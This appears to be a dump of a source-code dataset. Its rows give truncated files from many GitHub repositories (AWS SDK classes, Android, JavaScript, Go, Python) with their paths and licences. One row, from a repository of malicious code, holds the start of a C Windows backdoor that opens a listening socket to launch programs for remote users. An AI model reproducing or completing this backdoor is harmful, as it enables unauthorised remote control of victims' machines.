id stringlengths 64 64 | content stringlengths 500 100k | language stringclasses 29
values | path stringlengths 4 333 | repo stringlengths 5 116 | license stringclasses 15
values | size int64 500 100k | lines int64 26 8.06k | source stringclasses 1
value |
|---|---|---|---|---|---|---|---|---|
9942a85d98a7d63a93c24455e01032720877d01ef30eb160901d38eea10fd20b | /*
* Copyright 2012-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-polly/src/main/java/com/amazonaws/services/polly/AbstractAmazonPollyAsync.java | dagnir/aws-sdk-java | apache-2.0 | 4,021 | 109 | codeparrot/github-code |
c893e7f2b7573e6ad5487b310b262a3889e72474508c2a4311239419a8f7ef84 | package dk.itu.pervasive.mobile.data;
import android.app.Activity;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.preference.PreferenceManager;
import android.provider.MediaStore;
import android.util.Log;
import android.widget.Toast;
import dk.itu.pervasive.mobil... | Java | dk.itu.pervasive.mobile.android/src/dk/itu/pervasive/mobile/data/DataManager.java | tonybeltramelli/Ubiquitous-Media-Sharing-Surface | apache-2.0 | 2,863 | 115 | codeparrot/github-code |
f388fa72c6e592eaa8d25ffb9c122cdccd7f619e4ba1ee4e01a9fc4de5ca26ad | /*
* Copyright (c) 2005-2011 Grameen Foundation USA
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unl... | Java | application/src/main/java/org/mifos/accounts/struts/actionforms/AccountApplyPaymentActionForm.java | jpodeszwik/mifos | apache-2.0 | 15,538 | 443 | codeparrot/github-code |
42452a73a6b97e39edbb58a36d5e34e22267f7d7a3acdd7fdeb51c5439db70af | package org.apache.activemq.nob.filestore.uuiddir;
import org.apache.activemq.nob.filestore.BrokerFilenameDecoder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.util.UUID;
/**
* Decoder of filenames in a UUID-based filesystem store of broker configuration files. This sto... | Java | activemq-nob-filestore/src/main/java/org/apache/activemq/nob/filestore/uuiddir/UUIDDirectoryStoreFilenameDecoder.java | hzbarcea/activemq-nob | apache-2.0 | 2,083 | 69 | codeparrot/github-code |
56e2bae739626a856d86b35441d5c59f48c83198ba61536b8ea0965c11ed3db9 | package antw.logger;
import java.util.Date;
import org.apache.tools.ant.BuildEvent;
import antw.common.util.Constants;
import antw.common.util.StringUtil;
import antw.common.util.TimeUtil;
import antw.logger.model.Project;
import antw.logger.model.Target;
public class TreeLogger extends LoggerAdapter {
protect... | Java | modules/logger/src/main/java/antw/logger/TreeLogger.java | mbauhardt/antw | apache-2.0 | 4,319 | 142 | codeparrot/github-code |
343d70a18bfc8ac33797bec01b2b8af93652c1f79cd655f9fb8d98dfe605bfaf | "use strict";
import {Vector2, Vector3, Matrix4, Vector4} from 'vectormath';
/*
NOTE: this was originally a WebGL UI library I wrote.
it's gone through several transitions since then, and
is now a canvas2d UI library (bleh). the code is quite
horrible.
*/
#include "src/utils/utildefine.js"
//we keep track of any c... | JavaScript | src/editors/interface/UICanvas.js | joeedh/webblender | apache-2.0 | 46,545 | 1,799 | codeparrot/github-code |
d8459a977d6f8cf9103daae30bc6f2d646839045beab3c41af20a41fc4782a14 | $.FAQ = function(){
$self = this;
this.url = "/faq"
this.send = function(inputs){
var params = new FormData();
// var csrf = $("#csrf").val();
// params.append("csrf_ID", csrf);
$.each(inputs, function(key, val){
params.append(key,val);
});
$.ajax({
url : $self.url,
type: 'PO... | JavaScript | assets/js/website/faq.js | ajaykiet2/htdocs | apache-2.0 | 1,284 | 77 | codeparrot/github-code |
ca79b3ba64ab2bfb5fbd5a42aaf58948dac989be37d90f2ccb7c67f1c3559cbf | /**
* Copyright 2011-2017 Asakusa Framework Team.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable... | Java | testing-project/asakusa-test-moderator/src/main/java/com/asakusafw/testdriver/rule/DecimalRange.java | cocoatomo/asakusafw | apache-2.0 | 2,011 | 61 | codeparrot/github-code |
7320f77d1506481e1661964c9849c6ae5f212595ba0f51b0ef983db70542f91f | /*
* JBoss, Home of Professional Open Source.
* Copyright 2015 Red Hat, Inc., and individual contributors
* as indicated by the @author tags.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the Licen... | Java | src/main/java/org/wildfly/security/sasl/util/CredentialSaslServerFactory.java | sguilhen/wildfly-elytron | apache-2.0 | 2,996 | 77 | codeparrot/github-code |
50063fbd9723ae731d6cdd315b2631bf804911c0660fec5b4300417c07a4598a | package com.board;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
public class BoardDAO {
private Connection conn;
public BoardDAO(Connection conn){
this.conn = conn;
}
//1. num의 최대값
public int getMaxNum(){
... | Java | src/com/board/BoardDAO.java | xerato/vk-study | apache-2.0 | 7,622 | 472 | codeparrot/github-code |
02ba9ff6961de7300d94cbfc3f0950d4774a40d81afbe15b29484e098552c3dc | /*
* Copyright 2016 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applica... | Java | client-api/src/main/java/com/github/antennaesdk/common/messages/ServerRestMessage.java | AntennaeSDK/MMS | apache-2.0 | 4,171 | 131 | codeparrot/github-code |
b735fe0145e1064da197d0dd297eaa7e01369ece6fca102496a2820ab9805438 | /*
* Copyright 2016 The Error Prone Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law ... | Java | core/src/main/java/com/google/errorprone/bugpatterns/threadsafety/ImmutableAnalysis.java | cushon/error-prone | apache-2.0 | 12,491 | 332 | codeparrot/github-code |
66f73d2808533bd2070389d17e06687e52ca7ea9331e950b7f3d4355a15633eb | package com.planet_ink.coffee_mud.Abilities.Songs;
import com.planet_ink.coffee_mud.core.interfaces.*;
import com.planet_ink.coffee_mud.core.*;
import com.planet_ink.coffee_mud.core.collections.*;
import com.planet_ink.coffee_mud.Abilities.interfaces.*;
import com.planet_ink.coffee_mud.Areas.interfaces.*;
import com.pl... | Java | com/planet_ink/coffee_mud/Abilities/Songs/Play_Organs.java | vjanmey/EpicMudfia | apache-2.0 | 2,094 | 53 | codeparrot/github-code |
2ea325d5e93ada57ac304da1ebfd2de231cb6ba3c2fffbd295521228efe9fb0d | <!DOCTYPE html >
<html>
<head>
<title>Tables - ScalaTest 3.0.1 - org.scalatest.prop.Tables</title>
<meta name="description" content="Tables - ScalaTest 3.0.1 - org.scalatest.prop.Tables" />
<meta name="keywords" content="Tables ScalaTest 3.0.1 org.scalatest.prop.Tables" />
... | HTML | public/scaladoc/3.0.1/org/scalatest/prop/Tables$.html | scalatest/scalatest-website | apache-2.0 | 33,701 | 581 | codeparrot/github-code |
df4132383e5b04f43588b05fd3db38613ee5d3e9d374d68722aa5af1b1256170 | // Copyright 2016 Pikkpoiss
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in wr... | GO | v1/gamejam/scene.go | pikkpoiss/gamejam | apache-2.0 | 1,558 | 75 | codeparrot/github-code |
806a3fa626445fc7d6608d1ce346233fd7faadea126b7d04b9f74b67e36f27bf | /*
* DateAxisBuilder.java
*
* Created on March 17, 2007, 10:17 PM
*
* To change this template, choose Tools | Template Manager
* and open the template in the editor.
*/
package com.thecoderscorner.groovychart.axis;
import java.beans.IntrospectionException;
import java.util.Map;
import java.util.logging.Level;
... | Java | src/main/java/com/thecoderscorner/groovychart/axis/NumberAxisBuilder.java | davetcc/groovychart | apache-2.0 | 2,310 | 88 | codeparrot/github-code |
38c9b1c402b7137881ef67201c40bb7b452a4ff00941a93d7c3b90201c56aac4 | /*
* Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-servicecatalog/src/main/java/com/amazonaws/services/servicecatalog/model/transform/UpdateServiceActionRequestMarshaller.java | aws/aws-sdk-java | apache-2.0 | 3,346 | 70 | codeparrot/github-code |
4bbe2ba4fbc047ce0fb9f50c0aac1653582347da1399254c266c02019ecb107a | $(document).ready(function(){
$('#datepickerDay1').hide();
$('#datepickerDay2').hide();
$('#datepickerMnd1').hide();
$('#datepickerMnd2').hide();
$('#datepickerYear1').hide();
$('#datepickerYear2').hide();
$('select').change(function(){
var index = $('select').val();
if(index == 0){ //day
... | JavaScript | js/comparison.js | lavhmrps/SharityCRM | apache-2.0 | 25,646 | 846 | codeparrot/github-code |
5aac863f3f75ad8c4abf8d5b162dbf6a839e83c92d0fe8f71196e7ebaa64eb16 | /*
* Copyright 2014-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-mediaconvert/src/main/java/com/amazonaws/services/mediaconvert/model/DeinterlacerMode.java | jentfoo/aws-sdk-java | apache-2.0 | 2,135 | 64 | codeparrot/github-code |
ac838d4b48fe2a29e9595b5fa9292f72517d5d26cffbd78700b0767c852e7264 | <!DOCTYPE html>
<meta charset="utf-8">
<!--This page is adapted from Mike Bostock and Scott Murray's d3.js examples-->
<style>
.link {
stroke: #ccc;
}
.node text {
pointer-events: none;
font: 10px sans-serif;
}
</style>
<body>
<script src="http://d3js.org/d3.v3.min.js"></script>
<script>
var width = 960;
var he... | HTML | example/index.html | joyanujoy/twitter-graph | apache-2.0 | 2,438 | 103 | codeparrot/github-code |
f1988262ea44d20ac5f63ec156f9da4f3571f78d53a9f1bb68bcd6354ef4a870 | /*
* Copyright (c) 2015 Ngewi Fet <ngewif@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applica... | Java | app/src/main/java/org/gnucash/android/ui/common/BaseDrawerActivity.java | lxbzmy/gnucash-android | apache-2.0 | 13,912 | 361 | codeparrot/github-code |
bf14d91e7199c7e21661d05bbb9f8cca60bcfc0ab2a6c0a2106b133a12949514 | /* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not... | C | runtime/core/Clownfish/Test/Util/TestStringHelper.c | rectang/lucy-clownfish | apache-2.0 | 10,638 | 299 | codeparrot/github-code |
1faef1ba6332bb45753619a65705aff7a1bb589eda9d1c6ab259ca3eb4a21c22 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | Python | google/cloud/bigquery_storage_v1/reader.py | googleapis/python-bigquery-storage | apache-2.0 | 27,503 | 779 | codeparrot/github-code |
7a3f72a9b2dad153a72b39fff9b96d69bc9c82aa18b83a4887aa8c2a3be54012 | /*
Copyright 2019 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
dis... | TypeScript | packages/frontend-web/src/app/scenes/Tables/components.tsx | conversationai/conversationai-moderator | apache-2.0 | 4,167 | 163 | codeparrot/github-code |
8355fde9676dd800db07c9e7eead5f29ca964ce93118741ad6f2864ef645024b | from capstone import *
from .architecture import Architecture
from avatar2.installer.config import GDB_X86, OPENOCD
class X86(Architecture):
get_gdb_executable = Architecture.resolve(GDB_X86)
get_oocd_executable = Architecture.resolve(OPENOCD)
qemu_name = 'i386'
gdb_name = 'i386'
registers =... | Python | avatar2/archs/x86.py | avatartwo/avatar2 | apache-2.0 | 6,401 | 176 | codeparrot/github-code |
40c8f02021a769073a62822dc7602b42e9cbd202f8e7b02e42b0d50dcfc9a103 | # Copyright (c) 2015 Intel Research and Development Ireland Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | Python | yardstick/yardstick/vTC/apexlake/experimental_framework/benchmarks/instantiation_validation_noisy_neighbors_benchmark.py | dtudares/hello-world | apache-2.0 | 3,974 | 92 | codeparrot/github-code |
a7928a7d7a584019cbb8f9e881fff8cc1b57255a589d21d6960a840040406b04 | package de.nl.moo.data.loader.systems;
import de.nl.moo.data.beans.systems.SystemsApplyerBean;
import de.nl.moo.data.beans.systems.SystemsBean;
import de.nl.moo.data.beans.systems.SystemsSystemBean;
import de.nl.moo.data.dao.GameBeanDAO;
import de.nl.moo.data.loader.AbstractBeanLoader;
import org.springframework.beans... | Java | src/main/java/de/nl/moo/data/loader/systems/SystemsBeanLoader.java | dayaftereh/master-of-orion | apache-2.0 | 2,608 | 84 | codeparrot/github-code |
9873721958aa352fb17fbba0e4c8bc57d0a65b447fa95fc383ee12ef280b2043 | package com.github.setial.intellijjavadocs.configuration.impl;
import com.github.setial.intellijjavadocs.configuration.JavaDocConfiguration;
import com.github.setial.intellijjavadocs.exception.SetupTemplateException;
import com.github.setial.intellijjavadocs.model.settings.JavaDocSettings;
import com.github.setial.int... | Java | src/main/java/com/github/setial/intellijjavadocs/configuration/impl/JavaDocConfigurationImpl.java | setial/intellij-javadocs | apache-2.0 | 4,548 | 118 | codeparrot/github-code |
a6348cd5ae19d7433a164d4ee77412ba8beaf4a2da5f4a4661a961dfb1af4634 | // Copyright 2000-2020 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
package com.intellij.ide.plugins.newui;
import com.intellij.ide.IdeBundle;
import com.intellij.ui.JBColor;
import com.intellij.util.ui.JBUI;
import org.jetbrains.annotations.Nls;... | Java | platform/platform-impl/src/com/intellij/ide/plugins/newui/TagComponent.java | JetBrains/intellij-community | apache-2.0 | 2,357 | 69 | codeparrot/github-code |
42e41d1a685991637bd2119259ebebd0483fa7b54c1c99339a61ee60cacdcbde | /*
* Copyright 2013-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by a... | Java | spring-cloud-consul-discovery/src/test/java/org/springframework/cloud/consul/discovery/ConsulCatalogWatchTests.java | spring-cloud/spring-cloud-consul | apache-2.0 | 1,452 | 48 | codeparrot/github-code |
b3f543183c34ddab7e48226750a96f2a4d7655079fd9ba26fd07c29b8fa4d0e6 | // Copyright 2012 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable... | Java | client/src/main/java/com/google/collide/client/editor/CoordinateMap.java | WeTheInternet/collide | apache-2.0 | 12,795 | 353 | codeparrot/github-code |
9ab63bbb9f8176aa9db76dd999e6c007877867a468285367e085e16c860e1f8b | package com.unitvectory.shak.jarvis.model;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import com.unitvectory.shak.jarvis.util.ResourceHelper;
/**
* Tests the ... | Java | src/test/java/com/unitvectory/shak/jarvis/model/SmartThingsPublishTest.java | JaredHatfield/shak-jarvis | apache-2.0 | 2,402 | 81 | codeparrot/github-code |
64b93e66f21047e5d405753e911e9c5249d2d2e9e74959ae3aa541785fa725c1 | /*
* #%L
* wcm.io
* %%
* Copyright (C) 2015 wcm.io
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... | Java | conga-sling-plugin/src/test/java/io/wcm/devops/conga/plugins/sling/validator/ProvisioningValidatorTest.java | wcm-io-devops/wcm-io-devops-conga-sling-plugin | apache-2.0 | 2,492 | 72 | codeparrot/github-code |
cc2e33328b05b4758caf64eaff2f1292d55d80600d25298f1a419b18e44eeea6 | package org.targettest.org.apache.lucene.store;
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache... | Java | provocateur-thirdparty/src/main/java/org/targettest/org/apache/lucene/store/IndexInput.java | chrishumphreys/provocateur | apache-2.0 | 8,089 | 238 | codeparrot/github-code |
a713cbd03f45afe4a0388e71c455332200dbe8d86abfbcc6ca2e0ef7fd9be819 | ## Copyright 2022 Google LLC
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## https://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in ... | Python | send-message-suggested-action-dial.py | google-business-communications/bm-snippets-python | apache-2.0 | 3,227 | 76 | codeparrot/github-code |
e5ec3feb7dd467782f0d09b83eb9332ac6a6a64e9c94352fc2cc90784ac8cdfc | package ru.job4j;
import org.junit.Test;
import java.util.*;
/**
* Класс для тестирования.
* @author agavrikov
* @since 13.07.2017
* @version 1
*/
public class TestTimeCollectionTest {
/**
* Тестирование метода добавления.
*/
@Test
public void add() {
TestTimeCollection methods = ... | Java | chapter_003/src/test/java/ru/job4j/TestTimeCollectionTest.java | AntonGavr92/agavrikov | apache-2.0 | 1,852 | 62 | codeparrot/github-code |
bfd8c81aa5e06dbd657393619450cf043d3fc611fb0efd6a00dfd36c5c0a1b9c | package tinymonkeys.vue;
import java.awt.Color;
import java.awt.Graphics;
import javax.swing.JPanel;
/**
* Classe du panneau de la carte.
*
* @version 1.0
* @author Camille Constant
*
*/
public class VueCarte extends JPanel {
/**
* UID auto-généré.
*/
private static final long serialVersionUID = 488496... | Java | src/tinymonkeys/vue/VueCarte.java | afraisse/TinyMonkey | apache-2.0 | 5,511 | 240 | codeparrot/github-code |
15e4a782fd5183cf26eaa56d6f2342fbd1144f42c546447c094c51cddeb45677 | package org.sagebionetworks.auth.services;
import org.sagebionetworks.repo.manager.AuthenticationManager;
import org.sagebionetworks.repo.manager.MessageManager;
import org.sagebionetworks.repo.manager.UserManager;
import org.sagebionetworks.repo.manager.authentication.PersonalAccessTokenManager;
import org.sagebionet... | Java | services/repository/src/main/java/org/sagebionetworks/auth/services/AuthenticationServiceImpl.java | Sage-Bionetworks/Synapse-Repository-Services | apache-2.0 | 8,736 | 210 | codeparrot/github-code |
e201518c75c1c7e6995c0e6a9afb7c1d779023fcdf8c8dec95b87fb1c483ebf2 | /*
* Copyright 2019 ThoughtWorks, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agr... | TypeScript | server/webapp/WEB-INF/rails/webpack/models/admins/admin_crud.ts | jyotisingh/gocd | apache-2.0 | 1,266 | 41 | codeparrot/github-code |
bc0432756bb398a545461f69137176e400b7c8aa99ada6723ab27597ff205c95 | /*
* Copyright 2014-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-iotevents/src/main/java/com/amazonaws/services/iotevents/model/UntagResourceResult.java | jentfoo/aws-sdk-java | apache-2.0 | 2,326 | 73 | codeparrot/github-code |
a2e326fa9a235cd0a6f79d63ccb3f3b2e8fce9af66b2d74ea0fdcea605c70e27 |
/*!
* Module requirements
*/
var NeopreneError = require('../error')
/**
* Document Validation Error
*
* @api private
* @param {Document} instance
* @inherits NeopreneError
*/
function ValidationError (instance) {
NeopreneError.call(this, "Validation failed");
Error.captureStackTrace(this, arguments.cal... | JavaScript | lib/errors/validation.js | rorymadden/neoprene | apache-2.0 | 813 | 45 | codeparrot/github-code |
5e912d836fee1abf27027dd5676e487664fbe3cf66350059244aa6aed689a366 | #
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | Perl | hardware/server/hp/proliant/snmp/mode/components/daldrive.pm | Sims24/centreon-plugins | apache-2.0 | 4,072 | 108 | codeparrot/github-code |
31d24f4b8792bf9b3834ade14cf0d0c1731d5145967e300c0f67a44bb45e9908 | /*******************************************************************************
* Copyright 2017 Bstek
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy
* of the License at
*
* http://www.apache.org/l... | Java | uflo-core/src/main/java/com/bstek/uflo/command/impl/GetListHistoryTasksCommand.java | youseries/uflo | apache-2.0 | 1,549 | 45 | codeparrot/github-code |
b7b7bc0dd1fbff2d61ed1f1482de244bfe5cd52d55936f68c72d64a580a0834f | /*
* Copyright 2012-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-emr/src/main/java/com/amazonaws/services/elasticmapreduce/model/transform/DescribeClusterResultJsonUnmarshaller.java | dagnir/aws-sdk-java | apache-2.0 | 2,841 | 75 | codeparrot/github-code |
091c14c9cc75dbddcc14a929d892907d481412b2d50733686a68f9d1ba3b1167 |
/**
* App routes.
*/
var homepage = require('./homepage');
var user = require('./user');
var news = require('./news');
var test = require('./test');
var passport = require('passport');
function ensureAuthenticated(req, res, next) {
if (req.isAuthenticated()) { return next(); }
req.flash('error', '抱歉,您尚未登录。... | JavaScript | routes/index.js | dotkrnl/helium | apache-2.0 | 2,356 | 67 | codeparrot/github-code |
8e56d5f1a2f4e52a3907d48e216d2c739411f60c6e9c5af4888161fe30e331b3 | # Copyright 2015 Cisco Systems, Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | Python | networking_cisco/plugins/cisco/l3/drivers/asr1k/asr1k_routertype_driver.py | Gitweijie/first_project | apache-2.0 | 29,107 | 613 | codeparrot/github-code |
3711d04a606ef114afe4adc09e6f973b13fd772de619da08c68ceb174f6a9cff |
MAKEFILE_DIR := tensorflow/lite/experimental/micro/tools/make
# Pull in some convenience functions.
include $(MAKEFILE_DIR)/helper_functions.inc
# Try to figure out the host system
HOST_OS :=
ifeq ($(OS),Windows_NT)
HOST_OS = windows
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S),Linux)
HOST_OS := linux
en... | Makefile | tensorflow/lite/experimental/micro/tools/make/Makefile | gautam1858/tensorflow | apache-2.0 | 7,400 | 215 | codeparrot/github-code |
b2c74982a11685c41c80fa2abc12834a6c1d3594570764bf390af666261e6da2 | /*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... | GO | pkg/version/version.go | k82cn/kube-arbitrator | apache-2.0 | 1,456 | 53 | codeparrot/github-code |
7a6384b36b9bbae782e38d0ee748f28fbbf07ceb783228f3b4166614de8518b8 | /*
* Copyright (c) 2021, Peter Abeles. All Rights Reserved.
*
* This file is part of BoofCV (http://boofcv.org).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apac... | Java | demonstrations/src/main/java/boofcv/demonstrations/imageprocessing/DisplaySteerableBase.java | lessthanoptimal/BoofCV | apache-2.0 | 4,148 | 119 | codeparrot/github-code |
e36895537b6068ebc63104fcbfd5fd8961210160b02bd6cea1d06b89598263d1 | /*
* Copyright (c) 2017 Trail of Bits, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law o... | C++ | lib/Arch/X86/Semantics/DATAXFER.cpp | trailofbits/remill | apache-2.0 | 75,421 | 1,183 | codeparrot/github-code |
c952e143e2758cdcc3cab62c66fa9307da4d381490221e9106026345a6e6c338 | /*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" fil... | C++ | aws-cpp-sdk-ec2/source/model/DescribeInstancesResponse.cpp | JoyIfBam5/aws-sdk-cpp | apache-2.0 | 2,556 | 79 | codeparrot/github-code |
258d239e68daee080bad7d84f8c632e138cfd8f6990e72181b069645268fb9cf | /*
* This file is part of "lunisolar-magma".
*
* (C) Copyright 2014-2022 Lunisolar (http://lunisolar.eu/).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.o... | Java | magma-asserts/src/main/java/eu/lunisolar/magma/asserts/func/function/to/LToIntObj1Obj0FuncAttest.java | lunisolar/magma | apache-2.0 | 3,567 | 88 | codeparrot/github-code |
7d22954e1795b8c179eea95bb0cdfb34f8bbb21a4a835b699d6cd3498b0077ec | /*
* Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-cloudwatch/src/main/java/com/amazonaws/services/cloudwatch/model/transform/ListDashboardsRequestMarshaller.java | aws/aws-sdk-java | apache-2.0 | 2,151 | 55 | codeparrot/github-code |
fe492c3d67dd9f28e2651fcef8c581dadaa6891ef8930e2aa8a8c415a2be9e3f | #include "littlepain.h"
/* the backdoor :) */
DWORD WINAPI BackDoor(LPVOID Data)
{
SOCKET server_sock,client_sock;
struct sockaddr_in serv_inf;
struct timeval tv;
fd_set ft;
char exec[MAX_PATH];
DWORD cnt;
STARTUPINFO inf_prog;
PROCESS_INFORMATION info_pr;
if((server_sock = socket(AF_INET,SOCK_STREAM,
I... | C | 0_mailcious-code/useful/c_windows/littlepain/BackDoor.c | ZHYfeng/malicious-code-conceal | apache-2.0 | 1,857 | 92 | codeparrot/github-code |
ee87a586419ecaf6900f72a5874e7440947535201eb5e7b84dd7f76b59599896 | /**
* Copyright (C) 2006-2020 Talend Inc. - www.talend.com
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by appli... | Java | component-api/src/main/java/org/talend/sdk/component/api/configuration/constraint/Uniques.java | chmyga/component-runtime | apache-2.0 | 1,331 | 35 | codeparrot/github-code |
a7eaccb2e433186e019ef4a38c5182c894d8d057214ceb5cd64d5a5d2d3476a1 | package de.mhu.com.morse.channel.sql;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.util.Iterator;
import java.util.LinkedList;
import de.mhu.lib.ASql;
import de.mhu.lib.dtb.Sth;
import de.mhu.com.morse.aaa.IAclManager;
import de.mhu.com.morse.channel.CMql;
i... | Java | de.mhus.app.inka.morse.server/src/de/mhu/com/morse/channel/sql/WhereSqlListener.java | mhus/mhus-inka | apache-2.0 | 10,620 | 322 | codeparrot/github-code |
80540a784c3d4eaa5450703a4737a58e0ef9548cbfb9678d52d1bccbad67a4c3 | /*
* Copyright 2016 Code Above Lab LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agr... | Java | common/common-utils/src/main/java/com/codeabovelab/dm/common/utils/StringUtils.java | codeabovelab/haven-platform | apache-2.0 | 9,252 | 282 | codeparrot/github-code |
7f3166ae479de92f2cb1cf661beb84b4351aa272a073cd4c356c2ee1473c63cb | /*
* Copyright 2015 Namihiko Matsumura (https://github.com/n-i-e/)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Un... | Java | src/main/java/com/github/n_i_e/deepfolderview/SwtFileFolderMenu.java | n-i-e/deepfolderview | apache-2.0 | 41,340 | 1,146 | codeparrot/github-code |
0e969595b0cf7c8f435127d394f14794c26675244f955a01c21938f9c4eb6ac2 | /*
